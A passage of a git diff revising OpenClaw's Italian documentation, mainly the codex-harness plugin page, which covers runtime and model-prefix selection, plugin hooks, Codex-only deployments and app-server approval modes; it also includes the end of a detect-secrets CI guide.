eseguono sempre una scansione di tutti i file. Le pull request usano un percorso rapido +sui file modificati quando è disponibile un commit base, e ripiegano su una scansione di tutti i file +altrimenti. Se fallisce, ci sono nuovi candidati non ancora nella baseline. ### Se la CI fallisce 1. Riproduci localmente: - - ```bash - pre-commit run --all-files detect-secrets - ``` - +__OC_I18N_900021__ 2. Comprendi gli strumenti: - `detect-secrets` in pre-commit esegue `detect-secrets-hook` con la baseline - e le esclusioni del repo. + e le esclusioni del repository. - `detect-secrets audit` apre una revisione interattiva per contrassegnare ogni elemento della baseline come reale o falso positivo. -3. Per segreti reali: ruotali/rimuovili, poi riesegui la scansione per aggiornare la baseline. -4. Per falsi positivi: esegui l’audit interattivo e contrassegnali come falsi: - - ```bash - detect-secrets audit .secrets.baseline - ``` - -5. Se ti servono nuove esclusioni, aggiungile a `.detect-secrets.cfg` e rigenera la +3. Per segreti reali: ruotali/rimuovili, poi esegui di nuovo la scansione per aggiornare la baseline. +4. Per falsi positivi: esegui l'audit interattivo e contrassegnali come falsi: +__OC_I18N_900022__ +5. Se hai bisogno di nuove esclusioni, aggiungile a `.detect-secrets.cfg` e rigenera la baseline con i flag `--exclude-files` / `--exclude-lines` corrispondenti (il file di configurazione è solo di riferimento; detect-secrets non lo legge automaticamente). -Esegui il commit del file `.secrets.baseline` aggiornato quando riflette lo stato previsto. +Esegui il commit della `.secrets.baseline` aggiornata quando riflette lo stato previsto. -## Segnalare problemi di sicurezza +## Segnalazione di problemi di sicurezza Hai trovato una vulnerabilità in OpenClaw? Segnalala responsabilmente: 1. Email: [security@openclaw.ai](mailto:security@openclaw.ai) -2. Non pubblicarla finché non è risolta -3. Ti attribuiremo il credito (a meno che tu non preferisca l’anonimato) +2. Non pubblicare pubblicamente finché il problema non sarà risolto +3. Ti citeremo nei ringraziamenti (a meno che tu non preferisca l'anonimato) diff --git a/docs/it/plugins/codex-harness.md b/docs/it/plugins/codex-harness.md index c638a48ab..562a0d488 100644 --- a/docs/it/plugins/codex-harness.md +++ b/docs/it/plugins/codex-harness.md @@ -1,177 +1,178 @@ --- read_when: - Vuoi usare l'harness app-server di Codex incluso - - Ti servono esempi di configurazione dell'ambiente di esecuzione di Codex - - Vuoi che le distribuzioni solo Codex falliscano invece di ripiegare su PI -summary: Esegui i turni dell'agente integrato di OpenClaw tramite l'harness app-server di Codex incluso + - Ti servono esempi di configurazione dell'harness Codex + - Vuoi che le distribuzioni esclusivamente Codex falliscano invece di ripiegare su PI +summary: Esegui i turni degli agenti integrati di OpenClaw tramite l'harness app-server Codex incluso title: Ambiente di esecuzione di Codex x-i18n: - generated_at: "2026-04-30T09:02:44Z" + generated_at: "2026-04-30T20:05:43Z" model: gpt-5.5 provider: openai - source_hash: 93abb72e9590aad265e5b6b8691dd16314178c4d255679b4e53da33b792a6e6b + source_hash: 335ec60cbdb76579db833eccb5151ffc5bcd28b370ca2e99587abdb578eeee4f source_path: plugins/codex-harness.md workflow: 16 --- -Il Plugin `codex` incluso consente a OpenClaw di eseguire turni agent incorporati tramite il +Il plugin `codex` incluso consente a OpenClaw di eseguire turni di agent incorporati tramite il Codex app-server invece dell'harness PI integrato. -Usalo quando vuoi che Codex gestisca la sessione agent di basso livello: scoperta dei modelli, -ripresa nativa del thread, compaction nativa ed esecuzione app-server. +Usalo quando vuoi che Codex gestisca la sessione agent di basso livello: rilevamento dei +modelli, ripresa nativa dei thread, compaction nativa ed esecuzione app-server. OpenClaw continua a gestire canali chat, file di sessione, selezione del modello, strumenti, -approvazioni, consegna dei media e mirror visibile della trascrizione. +approvazioni, consegna dei media e il mirror visibile della trascrizione. Se stai cercando di orientarti, inizia da -[Runtime agent](/it/concepts/agent-runtimes). La versione breve è: +[Runtime degli agent](/it/concepts/agent-runtimes). La versione breve è: `openai/gpt-5.5` è il riferimento del modello, `codex` è il runtime, e Telegram, -Discord, Slack o un altro canale resta la superficie di comunicazione. +Discord, Slack o un altro canale rimane la superficie di comunicazione. -## Cosa cambia questo Plugin +## Cosa cambia questo plugin -Il Plugin `codex` incluso contribuisce diverse capacità separate: +Il plugin `codex` incluso fornisce diverse capacità separate: | Capacità | Come la usi | Cosa fa | | --------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------------------- | -| Runtime incorporato nativo | `agentRuntime.id: "codex"` | Esegue i turni agent incorporati di OpenClaw tramite Codex app-server. | -| Comandi nativi di controllo chat | `/codex bind`, `/codex resume`, `/codex steer`, ... | Associa e controlla thread Codex app-server da una conversazione di messaggistica. | -| Provider/catalogo Codex app-server | interni `codex`, esposti tramite l'harness | Consente al runtime di scoprire e validare i modelli app-server. | -| Percorso di comprensione media Codex | percorsi di compatibilità immagine-modello `codex/*` | Esegue turni Codex app-server limitati per modelli di comprensione immagini supportati. | -| Relay hook nativo | Hook del Plugin intorno a eventi nativi Codex | Consente a OpenClaw di osservare/bloccare eventi nativi Codex supportati di strumenti/finalizzazione. | +| Runtime incorporato nativo | `agentRuntime.id: "codex"` | Esegue i turni di agent incorporati di OpenClaw tramite Codex app-server. | +| Comandi nativi di controllo chat | `/codex bind`, `/codex resume`, `/codex steer`, ... | Collega e controlla thread Codex app-server da una conversazione di messaggistica. | +| Provider/catalogo Codex app-server | Interni `codex`, esposti tramite l'harness | Consente al runtime di rilevare e validare i modelli app-server. | +| Percorso di comprensione media Codex | Percorsi di compatibilità per modelli immagine `codex/*` | Esegue turni Codex app-server limitati per i modelli di comprensione immagini supportati. | +| Relay hook nativo | Hook plugin attorno a eventi nativi Codex | Consente a OpenClaw di osservare/bloccare eventi nativi Codex supportati di strumenti/finalizzazione. | -Abilitare il Plugin rende disponibili queste capacità. **Non**: +Abilitare il plugin rende disponibili queste capacità. **Non**: - inizia a usare Codex per ogni modello OpenAI - converte i riferimenti modello `openai-codex/*` nel runtime nativo - rende ACP/acpx il percorso Codex predefinito -- passa a caldo sessioni esistenti che hanno già registrato un runtime PI -- sostituisce consegna dei canali OpenClaw, file di sessione, archiviazione dei profili auth o +- cambia a caldo sessioni esistenti che hanno già registrato un runtime PI +- sostituisce consegna canale OpenClaw, file di sessione, archiviazione dei profili di autenticazione o routing dei messaggi -Lo stesso Plugin possiede anche la superficie nativa dei comandi di controllo chat `/codex`. Se -il Plugin è abilitato e l'utente chiede di associare, riprendere, indirizzare, fermare o ispezionare -thread Codex dalla chat, gli agent dovrebbero preferire `/codex ...` ad ACP. ACP resta -il fallback esplicito quando l'utente chiede ACP/acpx o sta testando l'adapter ACP +Lo stesso plugin possiede anche la superficie nativa dei comandi di controllo chat `/codex`. Se +il plugin è abilitato e l'utente chiede di collegare, riprendere, guidare, fermare o ispezionare +thread Codex dalla chat, gli agent dovrebbero preferire `/codex ...` rispetto ad ACP. ACP rimane +il fallback esplicito quando l'utente chiede ACP/acpx o sta testando l'adattatore ACP Codex. -I turni nativi Codex mantengono gli hook Plugin di OpenClaw come livello pubblico di compatibilità. +I turni Codex nativi mantengono gli hook plugin di OpenClaw come livello pubblico di compatibilità. Questi sono hook OpenClaw in-process, non hook di comando Codex `hooks.json`: - `before_prompt_build` - `before_compaction`, `after_compaction` - `llm_input`, `llm_output` - `before_tool_call`, `after_tool_call` -- `before_message_write` per record di trascrizione mirrorati +- `before_message_write` per i record della trascrizione rispecchiata - `before_agent_finalize` tramite relay Codex `Stop` - `agent_end` -I Plugin possono anche registrare middleware di risultati strumento neutrali rispetto al runtime per riscrivere -i risultati degli strumenti dinamici di OpenClaw dopo che OpenClaw esegue lo strumento e prima che il -risultato venga restituito a Codex. Questo è separato dall'hook Plugin pubblico -`tool_result_persist`, che trasforma le scritture di risultati strumento nella trascrizione posseduta da OpenClaw. +I plugin possono anche registrare middleware per risultati strumenti neutrale rispetto al runtime per riscrivere +i risultati degli strumenti dinamici OpenClaw dopo che OpenClaw esegue lo strumento e prima che il +risultato venga restituito a Codex. Questo è separato dall'hook plugin pubblico +`tool_result_persist`, che trasforma le scritture dei risultati strumenti nella trascrizione di proprietà di OpenClaw. -Per la semantica degli hook Plugin, consulta [Hook Plugin](/it/plugins/hooks) -e [Comportamento guard del Plugin](/it/tools/plugin). +Per la semantica degli hook plugin, vedi [Hook dei plugin](/it/plugins/hooks) +e [Comportamento delle guardie plugin](/it/tools/plugin). -L'harness è disattivato per impostazione predefinita. Le nuove configurazioni dovrebbero mantenere i riferimenti ai modelli OpenAI -canonici come `openai/gpt-*` e forzare esplicitamente +L'harness è disattivato per impostazione predefinita. Le nuove configurazioni dovrebbero mantenere canonici i riferimenti modello OpenAI +come `openai/gpt-*` e forzare esplicitamente `agentRuntime.id: "codex"` o `OPENCLAW_AGENT_RUNTIME=codex` quando vogliono l'esecuzione nativa app-server. I riferimenti modello legacy `codex/*` selezionano ancora automaticamente -l'harness per compatibilità, ma i prefissi provider legacy supportati da runtime -non sono mostrati come normali scelte modello/provider. +l'harness per compatibilità, ma i prefissi provider legacy supportati da runtime non sono +mostrati come normali scelte modello/provider. -Se il Plugin `codex` è abilitato ma il modello primario è ancora -`openai-codex/*`, `openclaw doctor` avvisa invece di cambiare il percorso. È -intenzionale: `openai-codex/*` resta il percorso OAuth/abbonamento PI Codex, e -l'esecuzione nativa app-server resta una scelta runtime esplicita. +Se il plugin `codex` è abilitato ma il modello primario è ancora +`openai-codex/*`, `openclaw doctor` avvisa invece di cambiare il percorso. Questo è +intenzionale: `openai-codex/*` rimane il percorso PI Codex OAuth/sottoscrizione, e +l'esecuzione nativa app-server resta una scelta di runtime esplicita. ## Mappa dei percorsi -Usa questa tabella prima di cambiare la configurazione: +Usa questa tabella prima di modificare la configurazione: -| Comportamento desiderato | Riferimento modello | Configurazione runtime | Requisito Plugin | Etichetta di stato prevista | -| ------------------------------------------ | -------------------------- | -------------------------------------- | --------------------------- | ------------------------------ | -| API OpenAI tramite runner OpenClaw normale | `openai/gpt-*` | omesso o `runtime: "pi"` | Provider OpenAI | `Runtime: OpenClaw Pi Default` | -| OAuth/abbonamento Codex tramite PI | `openai-codex/gpt-*` | omesso o `runtime: "pi"` | Provider OAuth OpenAI Codex | `Runtime: OpenClaw Pi Default` | -| Turni incorporati nativi Codex app-server | `openai/gpt-*` | `agentRuntime.id: "codex"` | Plugin `codex` | `Runtime: OpenAI Codex` | -| Provider misti con modalità auto conservativa | riferimenti specifici del provider | `agentRuntime.id: "auto"` | Runtime Plugin opzionali | Dipende dal runtime selezionato | -| Sessione adapter Codex ACP esplicita | dipende da prompt/modello ACP | `sessions_spawn` con `runtime: "acp"` | backend `acpx` integro | Stato task/sessione ACP | +| Comportamento desiderato | Riferimento modello | Configurazione runtime | Requisito plugin | Etichetta di stato prevista | +| ------------------------------------------- | -------------------------- | -------------------------------------- | --------------------------- | ------------------------------ | +| API OpenAI tramite runner OpenClaw normale | `openai/gpt-*` | omessa o `runtime: "pi"` | Provider OpenAI | `Runtime: OpenClaw Pi Default` | +| Codex OAuth/sottoscrizione tramite PI | `openai-codex/gpt-*` | omessa o `runtime: "pi"` | Provider OpenAI Codex OAuth | `Runtime: OpenClaw Pi Default` | +| Turni incorporati nativi Codex app-server | `openai/gpt-*` | `agentRuntime.id: "codex"` | plugin `codex` | `Runtime: OpenAI Codex` | +| Provider misti con modalità automatica conservativa | riferimenti specifici per provider | `agentRuntime.id: "auto"` | Runtime plugin facoltativi | Dipende dal runtime selezionato | +| Sessione esplicita adattatore Codex ACP | Dipendente da prompt/modello ACP | `sessions_spawn` con `runtime: "acp"` | backend `acpx` integro | Stato attività/sessione ACP | -La divisione importante è provider rispetto a runtime: +La distinzione importante è provider rispetto a runtime: -- `openai-codex/*` risponde a "quale percorso provider/auth dovrebbe usare PI?" -- `agentRuntime.id: "codex"` risponde a "quale loop dovrebbe eseguire questo +- `openai-codex/*` risponde a "quale percorso provider/autenticazione dovrebbe usare PI?" +- `agentRuntime.id: "codex"` risponde a "quale ciclo dovrebbe eseguire questo turno incorporato?" -- `/codex ...` risponde a "quale conversazione nativa Codex dovrebbe essere associata - o controllata da questa chat?" +- `/codex ...` risponde a "quale conversazione Codex nativa dovrebbe collegare + o controllare questa chat?" - ACP risponde a "quale processo harness esterno dovrebbe avviare acpx?" ## Scegli il prefisso modello corretto I percorsi della famiglia OpenAI sono specifici per prefisso. Usa `openai-codex/*` quando vuoi -OAuth Codex tramite PI; usa `openai/*` quando vuoi accesso diretto all'API OpenAI o +Codex OAuth tramite PI; usa `openai/*` quando vuoi accesso diretto all'API OpenAI o quando stai forzando l'harness nativo Codex app-server: -| Riferimento modello | Percorso runtime | Quando usarlo | +| Riferimento modello | Percorso runtime | Quando usarlo | | --------------------------------------------- | -------------------------------------------- | ------------------------------------------------------------------------- | -| `openai/gpt-5.4` | Provider OpenAI tramite plumbing OpenClaw/PI | Vuoi l'accesso diretto attuale all'API OpenAI Platform con `OPENAI_API_KEY`. | -| `openai-codex/gpt-5.5` | OAuth OpenAI Codex tramite OpenClaw/PI | Vuoi auth da abbonamento ChatGPT/Codex con il runner PI predefinito. | -| `openai/gpt-5.5` + `agentRuntime.id: "codex"` | Harness Codex app-server | Vuoi l'esecuzione nativa Codex app-server per il turno agent incorporato. | +| `openai/gpt-5.4` | Provider OpenAI tramite plumbing OpenClaw/PI | Vuoi l'accesso diretto corrente all'API OpenAI Platform con `OPENAI_API_KEY`. | +| `openai-codex/gpt-5.5` | OpenAI Codex OAuth tramite OpenClaw/PI | Vuoi l'autenticazione con sottoscrizione ChatGPT/Codex con il runner PI predefinito. | +| `openai/gpt-5.5` + `agentRuntime.id: "codex"` | Harness Codex app-server | Vuoi l'esecuzione nativa Codex app-server per il turno di agent incorporato. | -GPT-5.5 è attualmente solo abbonamento/OAuth in OpenClaw. Usa -`openai-codex/gpt-5.5` per OAuth PI, oppure `openai/gpt-5.5` con l'harness +GPT-5.5 è attualmente solo sottoscrizione/OAuth in OpenClaw. Usa +`openai-codex/gpt-5.5` per PI OAuth, oppure `openai/gpt-5.5` con l'harness Codex app-server. L'accesso diretto con chiave API per `openai/gpt-5.5` è supportato quando OpenAI abilita GPT-5.5 sull'API pubblica. -I riferimenti legacy `codex/gpt-*` restano accettati come alias di compatibilità. La migrazione -di compatibilità di Doctor riscrive i riferimenti runtime primari legacy in riferimenti modello +I riferimenti legacy `codex/gpt-*` restano accettati come alias di compatibilità. La migrazione di +compatibilità di doctor riscrive i riferimenti legacy del runtime primario in riferimenti modello canonici e registra separatamente la policy runtime, mentre i riferimenti legacy solo fallback restano invariati perché il runtime è configurato per l'intero contenitore agent. -Le nuove configurazioni OAuth PI Codex dovrebbero usare `openai-codex/gpt-*`; le nuove configurazioni +Le nuove configurazioni PI Codex OAuth dovrebbero usare `openai-codex/gpt-*`; le nuove configurazioni dell'harness nativo app-server dovrebbero usare `openai/gpt-*` più `agentRuntime.id: "codex"`. -`agents.defaults.imageModel` segue la stessa divisione di prefisso. Usa -`openai-codex/gpt-*` quando la comprensione immagini deve passare attraverso il percorso provider OAuth OpenAI -Codex. Usa `codex/gpt-*` quando la comprensione immagini deve essere eseguita -tramite un turno Codex app-server limitato. Il modello Codex app-server deve -dichiarare supporto per input immagine; i modelli Codex solo testo falliscono prima dell'avvio del turno media. +`agents.defaults.imageModel` segue la stessa distinzione di prefisso. Usa +`openai-codex/gpt-*` quando la comprensione immagini dovrebbe passare attraverso il percorso provider OpenAI +Codex OAuth. Usa `codex/gpt-*` quando la comprensione immagini dovrebbe passare +attraverso un turno Codex app-server limitato. Il modello Codex app-server deve +dichiarare supporto per input immagine; i modelli Codex solo testo falliscono prima che il turno media +inizi. Usa `/status` per confermare l'harness effettivo per la sessione corrente. Se la selezione sorprende, abilita il logging di debug per il sottosistema `agents/harness` -e ispeziona il record strutturato `agent harness selected` del gateway. Include +e ispeziona il record strutturato `agent harness selected` del Gateway. Include l'id dell'harness selezionato, il motivo della selezione, la policy runtime/fallback e, -in modalità `auto`, il risultato di supporto di ciascun candidato Plugin. +in modalità `auto`, il risultato del supporto di ciascun candidato plugin. -### Cosa significano gli avvisi di Doctor +### Cosa significano gli avvisi di doctor `openclaw doctor` avvisa quando tutte queste condizioni sono vere: -- il Plugin `codex` incluso è abilitato o consentito +- il plugin `codex` incluso è abilitato o consentito - il modello primario di un agent è `openai-codex/*` - il runtime effettivo di quell'agent non è `codex` -Quell'avviso esiste perché gli utenti spesso si aspettano che "Plugin Codex abilitato" implichi -"runtime nativo Codex app-server". OpenClaw non fa quel salto. L'avviso +Questo avviso esiste perché gli utenti spesso si aspettano che "plugin Codex abilitato" implichi +"runtime nativo Codex app-server". OpenClaw non fa questo salto. L'avviso significa: -- **Non è richiesta alcuna modifica** se intendevi OAuth ChatGPT/Codex tramite PI. +- **Non è richiesta alcuna modifica** se intendevi ChatGPT/Codex OAuth tramite PI. - Cambia il modello in `openai/` e imposta `agentRuntime.id: "codex"` se intendevi l'esecuzione nativa app-server. -- Le sessioni esistenti richiedono ancora `/new` o `/reset` dopo una modifica del runtime, - perché i pin runtime di sessione sono persistenti. +- Le sessioni esistenti necessitano comunque di `/new` o `/reset` dopo una modifica del runtime, + perché i pin del runtime di sessione sono persistenti. La selezione dell'harness non è un controllo di sessione live. Quando viene eseguito un turno incorporato, OpenClaw registra l'id dell'harness selezionato su quella sessione e continua a usarlo per -i turni successivi nello stesso id sessione. Cambia la configurazione `agentRuntime` o +i turni successivi nello stesso id sessione. Modifica la configurazione `agentRuntime` o `OPENCLAW_AGENT_RUNTIME` quando vuoi che le sessioni future usino un altro harness; -usa `/new` o `/reset` per avviare una nuova sessione prima di passare una conversazione esistente -tra PI e Codex. Questo evita di riprodurre una trascrizione attraverso -due sistemi di sessione nativi incompatibili. +usa `/new` o `/reset` per avviare una sessione nuova prima di passare una conversazione esistente +tra PI e Codex. Questo evita di riprodurre una trascrizione attraverso due sistemi di sessione nativi +incompatibili. -Le sessioni legacy create prima dei pin harness sono trattate come con pin PI una volta che +Le sessioni legacy create prima dei pin dell'harness sono trattate come bloccate su PI una volta che hanno cronologia di trascrizione. Usa `/new` o `/reset` per optare quella conversazione in -Codex dopo aver cambiato la configurazione. +Codex dopo aver modificato la configurazione. `/status` mostra il runtime modello effettivo. L'harness PI predefinito appare come `Runtime: OpenClaw Pi Default`, e l'harness Codex app-server appare come @@ -179,22 +180,26 @@ Codex dopo aver cambiato la configurazione. ## Requisiti -- OpenClaw con il Plugin `codex` incluso disponibile. -- Codex app-server `0.125.0` o più recente. Il Plugin incluso gestisce per impostazione predefinita un binario +- OpenClaw con il plugin `codex` incluso disponibile. +- Codex app-server `0.125.0` o più recente. Il plugin incluso gestisce per impostazione predefinita un binario Codex app-server compatibile, quindi i comandi locali `codex` su `PATH` non - influiscono sul normale avvio dell'harness. -- Auth Codex disponibile al processo app-server o al bridge auth Codex di OpenClaw. + influenzano l'avvio normale dell'harness. +- Autenticazione Codex disponibile al processo app-server o al bridge di autenticazione Codex di OpenClaw. + Gli avvii locali app-server stdio usano una home Codex gestita da OpenClaw per ciascun + agent e una `HOME` figlia isolata, quindi non leggono per impostazione predefinita il tuo account + `~/.codex` personale, Skills, plugin, configurazione, stato dei thread o + `$HOME/.agents/skills` nativo. -Il Plugin blocca handshake app-server più vecchi o senza versione. Questo mantiene -OpenClaw sulla superficie di protocollo contro cui è stato testato. +Il plugin blocca handshake app-server più vecchi o senza versione. Questo mantiene +OpenClaw sulla superficie di protocollo rispetto alla quale è stato testato. -Per test smoke live e Docker, l'auth di solito proviene dall'account Codex CLI -o da un profilo auth OpenClaw `openai-codex`. Gli avvii locali stdio app-server possono +Per i test smoke live e Docker, l'autenticazione di solito proviene dall'account Codex CLI +o da un profilo di autenticazione OpenClaw `openai-codex`. Gli avvii locali stdio app-server possono anche ricadere su `CODEX_API_KEY` / `OPENAI_API_KEY` quando non è presente alcun account. ## Configurazione minima -Usa `openai/gpt-5.5`, abilita il Plugin incluso e forza l'harness `codex`: +Usa `openai/gpt-5.5`, abilita il plugin incluso e forza l'harness `codex`: ```json5 { @@ -232,27 +237,20 @@ Se la tua configurazione usa `plugins.allow`, includi anche `codex` lì: ``` Le configurazioni legacy che impostano `agents.defaults.model` o un modello agent su -`codex/` abilitano ancora automaticamente il Plugin `codex` incluso. Le nuove configurazioni dovrebbero +`codex/` abilitano ancora automaticamente il plugin `codex` incluso. Le nuove configurazioni dovrebbero preferire `openai/` più la voce esplicita `agentRuntime` sopra. ## Aggiungi Codex insieme ad altri modelli -Non impostare `agentRuntime.id: "codex"` globalmente se lo stesso agent dovrebbe passare liberamente -tra Codex e modelli provider non Codex. Un runtime forzato si applica a ogni -turno incorporato per quell'agent o sessione. Se selezioni un modello Anthropic mentre -quel runtime è forzato, OpenClaw prova comunque l'harness Codex e fallisce in modo chiuso -invece di instradare silenziosamente quel turno tramite PI. +Non impostare `agentRuntime.id: "codex"` globalmente se lo stesso agente deve passare liberamente tra Codex e modelli di provider non Codex. Un runtime forzato si applica a ogni turno incorporato per quell’agente o sessione. Se selezioni un modello Anthropic mentre quel runtime è forzato, OpenClaw prova comunque l’harness Codex e fallisce in modo chiuso invece di instradare silenziosamente quel turno tramite PI. -Usa invece una di queste forme: +Usa invece una di queste configurazioni: - Metti Codex su un agente dedicato con `agentRuntime.id: "codex"`. -- Mantieni l'agente predefinito su `agentRuntime.id: "auto"` e il fallback PI per il normale uso misto - dei provider. -- Usa i riferimenti legacy `codex/*` solo per compatibilità. Le nuove configurazioni dovrebbero preferire - `openai/*` più un criterio runtime Codex esplicito. +- Mantieni l’agente predefinito su `agentRuntime.id: "auto"` e il fallback PI per il normale uso misto dei provider. +- Usa i riferimenti legacy `codex/*` solo per compatibilità. Le nuove configurazioni dovrebbero preferire `openai/*` più una policy runtime Codex esplicita. -Per esempio, questo mantiene l'agente predefinito sulla normale selezione automatica e -aggiunge un agente Codex separato: +Per esempio, questo mantiene l’agente predefinito sulla normale selezione automatica e aggiunge un agente Codex separato: ```json5 { @@ -289,39 +287,33 @@ aggiunge un agente Codex separato: } ``` -Con questa forma: +Con questa configurazione: -- L'agente `main` predefinito usa il normale percorso del provider e il fallback di compatibilità PI. -- L'agente `codex` usa l'ambiente app-server di Codex. -- Se Codex manca o non è supportato per l'agente `codex`, il turno fallisce - invece di usare silenziosamente PI. +- L’agente predefinito `main` usa il normale percorso del provider e il fallback di compatibilità PI. +- L’agente `codex` usa l’harness app-server di Codex. +- Se Codex manca o non è supportato per l’agente `codex`, il turno fallisce invece di usare PI in modo silenzioso. ## Instradamento dei comandi degli agenti -Gli agenti dovrebbero instradare le richieste utente in base all'intento, non solo alla parola "Codex": +Gli agenti dovrebbero instradare le richieste degli utenti in base all’intento, non solo alla parola "Codex": -| L'utente chiede di... | L'agente dovrebbe usare... | +| L’utente chiede di... | L’agente dovrebbe usare... | | -------------------------------------------------------- | ------------------------------------------------ | | "Associa questa chat a Codex" | `/codex bind` | | "Riprendi qui il thread Codex ``" | `/codex resume ` | | "Mostra i thread Codex" | `/codex threads` | -| "Invia una segnalazione di supporto per un'esecuzione Codex non riuscita" | `/diagnostics [note]` | +| "Invia una segnalazione di supporto per un’esecuzione Codex errata" | `/diagnostics [note]` | | "Invia feedback Codex solo per questo thread allegato" | `/codex diagnostics [note]` | -| "Usa Codex come runtime per questo agente" | modifica della configurazione di `agentRuntime.id` | -| "Usa il mio abbonamento ChatGPT/Codex con OpenClaw normale" | riferimenti modello `openai-codex/*` | +| "Usa Codex come runtime per questo agente" | modifica della configurazione a `agentRuntime.id` | +| "Usa il mio abbonamento ChatGPT/Codex con il normale OpenClaw" | riferimenti modello `openai-codex/*` | | "Esegui Codex tramite ACP/acpx" | ACP `sessions_spawn({ runtime: "acp", ... })` | -| "Avvia Claude Code/Gemini/OpenCode/Cursor in un thread" | ACP/acpx, non `/codex` e non sottoagenti nativi | +| "Avvia Claude Code/Gemini/OpenCode/Cursor in un thread" | ACP/acpx, non `/codex` e non sub-agenti nativi | -OpenClaw pubblicizza agli agenti la guida allo spawn ACP solo quando ACP è abilitato, -inviabile ed è supportato da un backend runtime caricato. Se ACP non è disponibile, -il prompt di sistema e le Skills del Plugin non dovrebbero istruire l'agente -sull'instradamento ACP. +OpenClaw pubblicizza agli agenti la guida allo spawn ACP solo quando ACP è abilitato, instradabile e supportato da un backend runtime caricato. Se ACP non è disponibile, il prompt di sistema e le Skills dei plugin non dovrebbero insegnare all’agente l’instradamento ACP. ## Distribuzioni solo Codex -Forza l'ambiente Codex quando devi dimostrare che ogni turno di agente incorporato -usa Codex. I runtime Plugin espliciti usano per impostazione predefinita nessun fallback PI, quindi -`fallback: "none"` è facoltativo ma spesso utile come documentazione: +Forza l’harness Codex quando devi dimostrare che ogni turno di agente incorporato usa Codex. I runtime espliciti dei plugin non usano per impostazione predefinita il fallback PI, quindi `fallback: "none"` è opzionale ma spesso utile come documentazione: ```json5 { @@ -337,21 +329,17 @@ usa Codex. I runtime Plugin espliciti usano per impostazione predefinita nessun } ``` -Override di ambiente: +Override dell’ambiente: ```bash OPENCLAW_AGENT_RUNTIME=codex openclaw gateway run ``` -Con Codex forzato, OpenClaw fallisce in anticipo se il Plugin Codex è disabilitato, se -l'app-server è troppo vecchio o se l'app-server non riesce ad avviarsi. Imposta -`OPENCLAW_AGENT_HARNESS_FALLBACK=pi` solo se vuoi intenzionalmente che PI gestisca -la selezione mancante dell'ambiente. +Con Codex forzato, OpenClaw fallisce in anticipo se il plugin Codex è disabilitato, se l’app-server è troppo vecchio o se l’app-server non può avviarsi. Imposta `OPENCLAW_AGENT_HARNESS_FALLBACK=pi` solo se vuoi intenzionalmente che PI gestisca la selezione dell’harness mancante. ## Codex per agente -Puoi rendere un agente solo Codex mentre l'agente predefinito mantiene la normale -selezione automatica: +Puoi rendere un agente solo Codex mentre l’agente predefinito mantiene la normale selezione automatica: ```json5 { @@ -382,15 +370,11 @@ selezione automatica: } ``` -Usa i normali comandi di sessione per cambiare agenti e modelli. `/new` crea una nuova -sessione OpenClaw e l'ambiente Codex crea o riprende il proprio thread app-server -ausiliario secondo necessità. `/reset` cancella l'associazione della sessione OpenClaw per quel thread -e consente al turno successivo di risolvere di nuovo l'ambiente dalla configurazione corrente. +Usa i normali comandi di sessione per cambiare agenti e modelli. `/new` crea una nuova sessione OpenClaw e l’harness Codex crea o riprende il proprio thread app-server sidecar secondo necessità. `/reset` cancella l’associazione della sessione OpenClaw per quel thread e consente al turno successivo di risolvere di nuovo l’harness dalla configurazione corrente. ## Rilevamento dei modelli -Per impostazione predefinita, il Plugin Codex chiede all'app-server i modelli disponibili. Se -il rilevamento fallisce o va in timeout, usa un catalogo di fallback incluso per: +Per impostazione predefinita, il plugin Codex chiede all’app-server i modelli disponibili. Se il rilevamento fallisce o va in timeout, usa un catalogo fallback incluso per: - GPT-5.5 - GPT-5.4 mini @@ -416,8 +400,7 @@ Puoi regolare il rilevamento in `plugins.entries.codex.config.discovery`: } ``` -Disabilita il rilevamento quando vuoi che l'avvio eviti di interrogare Codex e si attenga al -catalogo di fallback: +Disabilita il rilevamento quando vuoi che l’avvio eviti di sondare Codex e resti sul catalogo fallback: ```json5 { @@ -436,27 +419,19 @@ catalogo di fallback: } ``` -## Connessione e criterio app-server +## Connessione e policy dell’app-server -Per impostazione predefinita, il Plugin avvia localmente il binario Codex gestito da OpenClaw con: +Per impostazione predefinita, il plugin avvia localmente il binario Codex gestito da OpenClaw con: ```bash codex app-server --listen stdio:// ``` -Il binario gestito è dichiarato come dipendenza runtime Plugin inclusa e preparato -insieme al resto delle dipendenze del Plugin `codex`. Questo mantiene la versione dell'app-server -legata al Plugin incluso invece che a qualsiasi CLI Codex separata -installata localmente. Imposta `appServer.command` solo quando vuoi -intenzionalmente eseguire un eseguibile diverso. +Il binario gestito è dichiarato come dipendenza runtime di plugin inclusa ed è preparato con il resto delle dipendenze del plugin `codex`. Questo mantiene la versione dell’app-server legata al plugin incluso invece che a qualunque CLI Codex separata sia installata localmente. Imposta `appServer.command` solo quando vuoi intenzionalmente eseguire un eseguibile diverso. -Per impostazione predefinita, OpenClaw avvia le sessioni dell'ambiente Codex locali in modalità YOLO: -`approvalPolicy: "never"`, `approvalsReviewer: "user"` e -`sandbox: "danger-full-access"`. Questa è la postura dell'operatore locale fidato usata -per Heartbeat autonomi: Codex può usare strumenti di shell e rete senza -fermarsi su prompt di approvazione nativi a cui nessuno è presente per rispondere. +Per impostazione predefinita, OpenClaw avvia le sessioni locali dell’harness Codex in modalità YOLO: `approvalPolicy: "never"`, `approvalsReviewer: "user"` e `sandbox: "danger-full-access"`. Questa è la postura attendibile dell’operatore locale usata per gli Heartbeat autonomi: Codex può usare strumenti shell e di rete senza fermarsi su prompt di approvazione nativi a cui nessuno è presente per rispondere. -Per aderire alle approvazioni Codex revisionate da guardian, imposta `appServer.mode: +Per attivare le approvazioni Codex revisionate da guardian, imposta `appServer.mode: "guardian"`: ```json5 @@ -477,19 +452,9 @@ Per aderire alle approvazioni Codex revisionate da guardian, imposta `appServer. } ``` -La modalità Guardian usa il percorso di approvazione con revisione automatica nativo di Codex. Quando Codex chiede di -uscire dalla sandbox, scrivere fuori dal workspace o aggiungere permessi come l'accesso -alla rete, Codex instrada quella richiesta di approvazione al revisore nativo invece che a un -prompt umano. Il revisore applica il framework di rischio di Codex e approva o nega -la richiesta specifica. Usa Guardian quando vuoi più protezioni rispetto alla modalità YOLO -ma devi comunque consentire ad agenti non presidiati di avanzare. +La modalità guardian usa il percorso di approvazione con revisione automatica nativa di Codex. Quando Codex chiede di uscire dalla sandbox, scrivere fuori dal workspace o aggiungere permessi come l’accesso di rete, Codex instrada quella richiesta di approvazione al revisore nativo invece che a un prompt umano. Il revisore applica il framework di rischio di Codex e approva o nega la richiesta specifica. Usa Guardian quando vuoi più guardrail rispetto alla modalità YOLO ma devi comunque permettere ad agenti non presidiati di progredire. -Il preset 